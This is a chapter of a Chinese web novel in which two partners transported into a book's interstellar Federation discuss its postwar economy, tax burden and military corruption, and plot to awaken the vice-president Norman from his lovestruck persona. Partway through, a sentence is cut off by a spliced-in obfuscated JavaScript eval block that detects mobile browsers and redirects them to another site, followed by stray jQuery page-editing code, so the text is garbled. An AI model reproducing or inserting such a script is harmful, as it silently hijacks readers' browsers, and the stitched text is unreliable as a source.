除了飞来飞去的悬浮车,随处可见的机械装置,这座书中的联邦首都和应柏桥秦铮所在的世界几乎没什么两样。
建筑物林立,高耸入云。街道上,人们来来往往为了生计而奔波。
甚至由于和虫族的战争刚刚结束,人们的脸上都带着麻木甚至是灰败的神情。
即使他们的政府告诉他们,联邦赢下了这场战争,虫族滚回了自己的老家,对他们的生活又有什么影响呢?
战争让太多人死去,而活着的人必须擦干眼泪,咬着牙接受战后重建的考验。
应柏桥站在街头一角,望着拥挤的人流,若有所思。
系统告知二人,在诺尔曼从“舔狗”人设中自我觉醒前,他们不能主动向诺尔曼揭露,这里其实是小说世界,而他只是被操纵的人偶。
这会导致整个小说世界立刻崩塌摧毁。
秦铮将机械球上的任务须知又看了一遍,又打开了《在星河中沉眠》的结尾段落。
彼时,星云联邦和罗斯帝国已经合并为星河联邦,而里尔担任联邦的首任总统,诺尔曼则是副总统,负责在总统分身乏术时,代替他处理各项事务。
而根据联邦今天的新闻,秦铮抬眼看向身后早餐店门口挂着的简易投屏:屏幕里,年轻的副总统登上了星河舰。
诺尔曼微笑着朝镜头前的观众们挥手致意。白色的礼服上,联邦荣誉勋章显得格外闪耀。
看起来,已经是彻头彻尾的联邦人了。
秦铮盯着电视机屏幕,喃喃地嘀咕了一句。
作为罗斯帝国前任皇帝的生涯,似乎已经被他抛之脑后。
不过,真有这么容易忘记吗?秦铮不动声色地在心里记了一笔。
“秦铮,可以借用下系统吗?我想查个东西。”应柏桥的声音打断了秦铮的思绪。
在出发前,两个人交换了彼此的真名。
秦铮将机械球递给了应柏桥。因为机械玩具在这个世界比较常见,因此没有路人对这个会投影的小球感到奇怪。
秦铮把系统交给应柏桥后,本想继续看新闻,收集情报,但思绪却忍不住往身边人的方向跑。
在来到星河联邦后,应柏桥就在秦铮的解说下,以原文为依据了解了故事的大体脉络和主要人物。
现在突然提出翻看原文,是发现了什么吗?
秦铮强忍着好奇心,坚持看了三分钟的新闻,直到诺尔曼相关的新闻报道结束,他才不着痕迹地收回目光,往应柏桥的方向挪了挪。
对方比自己高个几厘米,借助身高差的优势,秦铮悄悄地瞄了眼投影的内容:
是里尔相关的。
里尔是诺尔曼的伴侣,也是让诺尔曼觉醒的关键。
秦铮刚刚看完原文,对这位“暴力狂训狗大师”相关的情节熟烂于心。
他想要顺着应柏桥的思路去寻找线索。
于是干脆两腿一迈,就要往前走——然后被一只手轻轻勾住了风衣领口。
“你要到哪去?”应柏桥找到了自己想要的东西,正要跟秦铮分享,就看到他直愣愣地往别处走。
“分头行动也要告诉我一声,好吗?”像是抓小动物那样,应柏桥修长温凉的手指转而捏了捏秦铮的后颈,亲昵中透着无奈。
秦铮僵硬在原地,被应柏桥碰到的地方一阵酥麻。但他并不讨厌。
“我想去宣传摊位拿一张传单。”秦铮乖乖解释道。
他指向早餐店一旁的简易摊位,上面挂着数十张里尔的超清大头海报。看样子,是政府的政策宣传摊位。
“你不是在看里尔相关的内容吗,我也想找点线索。”秦铮看向应柏桥的眼睛泛着单纯而无害的光泽。
应柏桥顿了顿,他这才意识到自己的动作似乎不太对。怎么能把刚认识的搭档当小猫小狗对待。
他立刻收回了手,轻咳一声:“抱歉,是我着急了。”
但是,秦铮纯良的琥珀色眼睛实在让他内心的恶趣味隐隐作痒。
他强行按捺下内心的捉弄心思,一本正经地叮嘱秦铮:“我们是一个团队,单独行动要提前告知。”
秦铮点点头,在应柏桥的目光中,快速地取了一份传单回来。
让人没想到的是,这份传单和应柏桥确认的信息,真让他们找到了联邦线的矫正思路。
“涓滴计划?”两人为了方便整理信息,干脆坐进了路边的早点铺。
“通过扶持一批条件稍好的人和地区,增加富人的致富途径,从而将他们手中的就业渠道和利润漏一部分给普通民众。”就像是捧起一汪水后,从指缝漏出的水流。这个方式,在古地球缓解经济危机时,成效显著。
按道理来说,星河联邦战后经济萧条,供给严重匮乏的情况,也能适用。
“但是,联邦偏偏还要和虫族制衡。”应柏桥嘴角勾了勾,这项任务,似乎比自己想象中要轻松啊。
“高税收?”秦铮看向传单的另一角,抬头问道。
“没错,这项计划在过去之所以起效,还有个关键原因,是政府大幅度的减税。这能提高人民和生产厂商的劳动和致富积极性。”应柏桥向秦铮投去赞许的眼神。
“但现在面对虫族的先进武器威胁,至少落后一代的联邦,无论如何也不能减少军费开支。”
“因此,”应柏桥点了点秦铮左手边的内容,“这已经是他们战后第三次加税了。”
“然而,按照书中的描述,里尔似乎并没有革除那批吃得满嘴流油的军部长官们,”应柏桥露出了讥讽的微笑,“毕竟,是自己的好战友好同僚么。”
“这批军费到底有多少真正用在了技术研发上,还真不好说。”他愉快地敲了敲桌面,正要继续往下说,却看到秦铮露出了思索的表情。
“怎么了?”应柏桥伸出手,在秦铮面前晃了晃。
“官僚腐败,经济体制不合理……这个吐槽角度我还没有想过。”秦铮微微皱起了眉。
旋即,他抬头看向应柏桥,认真地请求道:“这个思路可以授权给我做视频吗?我可以在视频里标明出处。”
“你——”应柏桥愣了一下,不禁失笑。
秦铮疑惑地看着面前的青年,他并不觉得自己的请求有任何可笑之处。
“哈哈,”应柏桥尽力忍住笑意,在笑声的间隔中仓促解释道,“不是在笑你,秦铮。”
只是觉得有点可爱罢了。
“授权的话,当然可以。”应柏桥止住了笑,回答面前的银发青年。
见秦铮没什么反应,他担心秦铮误会,再次重申道:“刚才真的不是在笑你,你认可我的思路,是我的荣幸。”
然而,秦铮还是眼睛一眨不眨地望着他。
就在应柏桥真的开始担心秦铮生气了时,对方终于开口了。
“好的,谢谢。”
说罢,秦铮将手指挪到了刚才应柏桥指过的地方,学着他的模样,轻轻点了点:“我们继续刚才的话题。”
就……这样?
应柏桥盯着秦铮那个银白色的发旋看了半天,对方突然转变成了公事公办的样子,让他有些措手不及。
“咳,那好,我继续说了。”
应柏桥再次开始专心讲解。
他没有注意到的是,秦铮刚才点过传单的手指,慢慢蜷缩了起来。
这还是他第一次见到应柏桥大笑。
向来温和得体的青年,笑起来的时候竟然意外地好看。
阳光穿过小店照进了他的眼睛里,那双弯起的眼眸,如同鎏金一般,给原本柔软如蜂蜜的颜色镀上了一层金银交融的色泽。
秦铮感到自己向来平稳的心跳紊乱了一下,心跳也漏了一拍。
可能是太久没有见过活人了吧,他胡乱抓住一个答案往空缺里塞。
看来回去之后,还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171786|196838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要增加出门的频率。不能只偶尔出去吃个夜宵。
“总而言之,就算我们不介入,里尔的统治恐怕也维持不了多长时间。
“要么,是民众不堪压迫,起兵反抗;要么,是武器迟迟无法迭代,被虫族碾压。”
“人类之所以可以和虫族打个平手,是因为相较于虫族,人类更懂得谋略。”
“但现在,最懂得谋略的诺尔曼已经成为了没有自主意识的舔狗。”秦铮完全跟上了应柏桥的节奏,接着他的话往下说。
“作者架空了他的权力,让他去和虫族进行冗长的谈判,等到他回国了,又沉浸于对里尔的狂热爱恋之中,根本注意不到联邦的衰败。”
“而且,他从不反对里尔的决策,在他心里,第一顺位永远是里尔。”
“就是这样。”应柏桥打了个响指,用欣赏的眼神看着自家搭档。
秦铮比他想象中要更加合拍,他的心跳因为雀跃而不断加速。
“但这只是里尔的失败。”应柏桥故意不把思路说完,他还想再看看,秦铮和自己能默契到什么程度。
“和诺尔曼从舔狗意识中觉醒的关系是?”
“他是皇帝。”
秦铮陷入了自己的思考中,嘴上不断输出:“刚才我看到新闻时就在想,诺尔曼作为罗斯帝国的前任皇帝,他真的有那么容易忘记这个身份吗?”
作为通读全文的人,秦铮能轻松地给诺尔曼绘制人物画像:
从小在冷宫长大却天赋异禀的皇子,在兄弟间的皇位厮杀中突出重围,十七岁就成为了罗斯帝国的皇帝。
然而帝国的腐败和枯朽不是他一人能够扭转的。仅在位三年,就因改革过于激进,削减俸禄用于福利设施建设,将大量贪腐人士送上断头台,而被旧贵族和朝中重臣联手夺权,惨遭流放。
遇见里尔时,他已经在联邦贫民窟建立了一支属于自己的军队,集齐了一批资质尚可的人才。
但爱上里尔后,他的军队名义上属于他,实质上却听从里尔号令;他的下属,甚至会背着他对里尔大献殷勤。
曾经东山再起的理想,成了一摊早已坍塌的废墟。
他,真的甘心吗?
秦铮不相信,一个不惜被大臣针对也要推行福利改革的皇帝,会这样放弃自己的信念,为了爱情蒙蔽自己的双眼,就这样看着民众陷于水深火热之中。
当联邦这座大厦崩塌的那天,副总统阁下听见百姓的嚎哭时,真的能继续无条件支持里尔吗?
他想到这里,眼神愈发清明,如同澄亮的琉璃。
他正要跟应柏桥说自己的结论,面前就递过来一只拳头——
“祝贺我们心有灵犀。”应柏桥轻快地说,将拳头往秦铮面前送了送。
秦铮嘴角也翘起一个小小的弧度,像应柏桥在系统空间教他的那样,碰了碰他的拳。
虽然一触即分,但双方都感觉对方的体温留在皮肤表面,久久没有散去。
“虽说这个任务什么不干就能达成,但我们还是象征性地做点什么吧。”
应柏桥唤出了系统。
“联邦线的指定外援,现在可以给我们了。”
总统府邸,诺尔曼的生物钟很早便唤醒了他。
他温柔地亲了亲怀里累了一晚的爱人,然后轻声说了句:“昨晚辛苦了。”
“哐当——”诺尔曼便被里尔毫不留情地从床上踹了下来,胳膊撞在了床头柜上,留下一片青紫的印记。
诺尔曼却丝毫不恼,爬起来温声哄着恋人,就好像刚才的那一脚只是伴侣间的调情。
里尔则烦躁地用被子捂住了耳朵,闷闷地说了句:“快滚。”
烦死了。
两个小时后,侍从惊慌地敲门声再次把里尔从美梦中惊醒。
但他还没来得及发脾气,就听见门外的人大喊:
“总统阁下,发生暴动了!”